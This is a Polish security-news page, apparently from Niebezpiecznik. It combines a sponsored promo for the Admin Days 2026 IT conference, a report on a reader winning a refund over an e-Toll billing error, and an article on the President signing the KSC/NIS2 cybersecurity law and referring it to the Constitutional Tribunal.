
Artur Markiewicz przeanalizuje model działania grup ransomware i to, jak wygląda ich operacyjna strona.

Agata Ślusarek i Adam Lange zajrzą za kulisy cyberprzestępczości.

Sławomir Szmulik pokaże, jak podejść do logów w praktyce i jak nie utonąć w szumie danych.

Marcel Guzenda poruszy temat bezpieczeństwa sieci i realnych słabości infrastruktury.

Mirosław Gumularz odniesie się do kwestii bezpieczeństwa i odpowiedzialności organizacyjnej.

Alina Kobyłecka poprowadzi warsztatową część w formule Cyber RPG.

Piotr Adamczyk i Marcin Matuszewski w rozmowie „U nas działa!” pokażą, jak wygląda IT bez marketingowej narracji.

Tomasz Domalewski przyjrzy się temu, co dzieje się między kliknięciem a incydentem.

Przemysław Frąk i Leszek Skórniewicz poruszą temat gotowości audytowej i praktycznego podejścia do kontroli.

Admin Days 2026 – bo wiedza w IT musi działać

Czy warto wziąć udział? Warto, bo w IT najdroższe nie są narzędzia, tylko błędy, zwłaszcza te, które można było przewidzieć. Czasem wystarczy usłyszeć, jak ktoś inny poradził sobie z incydentem, jak podszedł do zabezpieczenia AD albo jak uporządkował chaos w logach, żeby uniknąć kilku miesięcy prób i testów we własnym środowisku. Admin Days 2026 daje właśnie taką możliwość: skonfrontowania własnych rozwiązań z praktyką innych i zadania pytań ludziom, którzy mierzą się z tymi samymi wyzwaniami.

Udział w wydarzeniu jest bezpłatny – wystarczy się zarejestrować. W trakcie konferencji przewidziane są konkursy i nagrody dla uczestników, a rozmowy nie kończą się wraz z ostatnim slajdem. Równolegle działa społeczność na Discordzie, gdzie można kontynuować dyskusje, dopytać się o coś prelegentów i wymienić się doświadczeniami z innymi administratorami oraz specjalistami IT.

Jeśli więc chcesz wykorzystać trzy kwietniowe dni nie na kolejne „inspiracje”, ale na konkretną wiedzę i branżową rozmowę bez marketingowej otoczki — rejestracja na Admin Days 2026 już czeka!

Przeczytałeś artykuł jest sponsorowany, za którego publikację otrzymaliśmy wynagrodzenie. Jeśli i Ty chcesz zareklamować się na łamach Niebezpiecznika, daj nam znać.

Skarbówka odda pieniądze naszemu Czytelnikowi (finał sprawy z błędem w e-Toll)

2026-03-04T12:43:16Z

W systemie e-Toll był błąd, który powodował naliczanie niesłusznych kar za rzekomo nieopłacone przejazdy autostradą (po latach!). Nasz Czytelnik Szymon podrążył temat i pieniądze odzyska. Było warto walczyć o swoje choć nie było całkiem łatwo.

Przypomnijmy. W lutym pisaliśmy o tym, że niektórym osobom zdarza się dostać wezwanie za nieopłacony przejazd autostradą, mimo iż autostrady państwowe już dawno nie są płatne. Ewentualne wezwania dotyczą tego okresu, kiedy opłatę przejazd wnosiło się przez zakup biletu w aplikacji lub na stacji benzynowej. Opisywaliśmy przypadek Szymona, który porównał dane o przejeździe w systemie eToll z tymi, które miał w Google Maps. Okazało się, że system błędnie zarejestrował znaczniki czasowe przejazdu oraz – co najważniejsze – części przejzadu zaliczył do innego dnia co powodowało niesłuszne naliczenie opłaty.

Szymona napisał.

Sprawa w końcu ma swój (szczęśliwy) finał. Sprzeciw uwzględniony, pieniądze oddadzą w ciągu 30 dni. Ale ile czasu musiałem na to wszystko stracić… Ehhh, szkoda gadać. A w sumie nadal nie wiadomo ilu rzeczywiście jest pokrzywdzonych kierowców oraz jak często ten błąd występował. Bo w ich tłumaczenie, że to de facto wina mojego urządzenia, to nie wierzę. To u mnie w telefonie musiałaby się data nie zmienić i ich aplikacja odczytałaby z mojego smartfona błędną datę. Raczej nierealne, tym bardziej, że historia lokalizacji Google Maps nie miała żadnych błędów, a rejestrowała się dokładnie na tym samym urządzeniu. Błąd jest ewidentnie po ich stronie, ale nie wiem co trzeba by zrobić, żeby się przyznali.

Pismo od skarbówki wyglądało tak.

Już wcześniej w odpowiedzi na nasze pytania Ministerstwo Finansów przyznało, że takie sytuacje mogą się zdarzać. Twierdzi jednocześnie, że problem nie jest powszechny i często wynika z błędów urządzeń użytkowników.

Szymon był uparty. Wiele innych osób może zapłacić “dla świętego spokoju”. Jeśli ktoś postanowi drążyć sprawę to niestety łatwo nie jest, o czym również pisał nam Szymon.

Większość osób ma zamknięte konto e-Toll, zrobili to rok temu, gdy e-Toll masowo wysyłał maile zachęcające do zamknięcia konta, żeby dostać zwrot środków z przedpłaty na koncie. Mając zamknięte konto nie da się sprawdzić historii przejazdów. Trzeba wysłać zgłoszenie, na które e-Toll ma czas na odpowiedź do 30 dni, a czas na wniesienie sprzeciwu to 14 dni. No ja akurat odpowiedź dostałem szybko, ale czy zawsze tak będzie? Warto byłoby to też poruszyć z MF/KAS. Odpowiedź dostajemy w pliku CSV.

Szczegóły w naszym artykule pt. Możesz dostać 500zł mandatu, bo system poboru opłat na A4 miał ciekawy błąd.

Prezydent podpisał ustawę KSC/NIS2 i wysłał ją do Trybunału

2026-02-20T07:57:40Z

Niewątpliwie najważniejsza dla polskiego cyberbezpieczeństwa ustawa uzyskała podpis Prezydenta. Została jednak wysłana do Trybunału Konstytucyjnego co oznacza, że niektóre jej przepisy z czasem mogą być uchylone. Tak czy owak trzeba się szykować na wdrażanie NIS2.

Tydzień temu pisaliśmy o ustawie o Krajowym Systemie Cyberbezpieczeństwa, która ma wdrażać w Polsce unijną dyrektywę NIS2. Wówczas ustawa wyszła z Senatu (bez poprawek) i czekała na podpis Prezydenta. Złożenie tego podpisu wielu osobom wydawało się formalnością (naprawdę tej ustawy podpisujemy), ale ten akt prawny miał swoich przeciwników. Protestowali przeciwko niemu niektórzy przedsiębiorcy, na których mają zostać nałożone nowe obowiązki (otwarcie przeciwko ustawie opowiedziała się Krajowa Izba Komunikacji Ethernetowej – KIKE). Byli też prawnicy z wątpliwościami. Prof. Ryszard Piotrkowski przekonywał, że bezpieczeństwo państwa nie uzasadnia tworzenia prawa, które trwale godziłoby we własność i swobodę działalności gospodarczej. W Sejmie odbyło się nawet zamknięte posiedzenie komisji cyfryzacji poświęcone lobbingowi wokół nowelizacji.

Wczoraj Prezydent ustawę podpisał, ale odesłał ją do Trybunału Konstytucyjnego w ramach kontroli następczej. Trybunał może uchylić część przepisów.

Z informacji wystosowanej przez Kancelarię Prezydenta wynika, że zastrzeżenia Prezydenta wobec ustawy są następujące:

Wątpliwości budzi objęcie ustawą 18 branż gospodarki pogrupowanych w podmioty kluczowe i ważne. Przy czym – zdaniem Prezydenta – rozszerzenie to nie wynika z przepisów europejskich, a jest samodzielną inicjatywą rządu.
Przepisy dotyczące uznawania firm za Dostawców Wysokiego Ryzyka (DWR) ingerują w samodzielność funkcjonowania przedsiębiorców poprzez nakładanie obowiązku wymiany sprzętu oraz
oprogramowania bez odszkodowania i bez zabezpieczenia środków finansowych na ten cel.
Przewidziany ustawą system kar administracyjnych jest restrykcyjny, a wysokość możliwych do nałożenia kar ma charakter samodzielnych środków karnych.
System podejmowania decyzji przez organy ds. cyberbezpieczeństwa wobec podmiotów kluczowych i ważnych jest wadliwy m.in. pozbawiony odpowiedniej kontroli sądowej.

Warto w tym momencie przypomnieć, że w trakcie prac nad ustawą wprowadzono przepis, który pozwala nakładać kary za naruszenia dopiero po upływie 2 lat od dnia wejścia w życie ustawy (art. 35 nowelizacji). Sama ustawa wchodzi w życie po upływie miesiąca od ogłoszenia, ale podmioty, które z dniem wejścia w życie niniejszej ustawy spełniają przesłanki uznania ich za podmiot kluczowy albo za podmiot ważny, realizują obowiązki w brzmieniu nadanym ustawą w terminie 12 miesięcy od dnia wejścia w życie. Wdrażanie przepisów będzie tak czy owak nieco rozciągnięte w czasie np. minister ds. cyfryzacji będzie musiał przygotować harmonogram, według którego firmy będą zobowiazane składać wniosek o wpis do wykazu podmiotów kluczowych.

Niemniej ustawa już jest i trzeba zacząć ją wdrażać. Więcej o ustawie artykule pt. Najważniejsza dla cyberbezpieczeństwa ustawa wdrażająca NIS2 czeka na podpis Prezydenta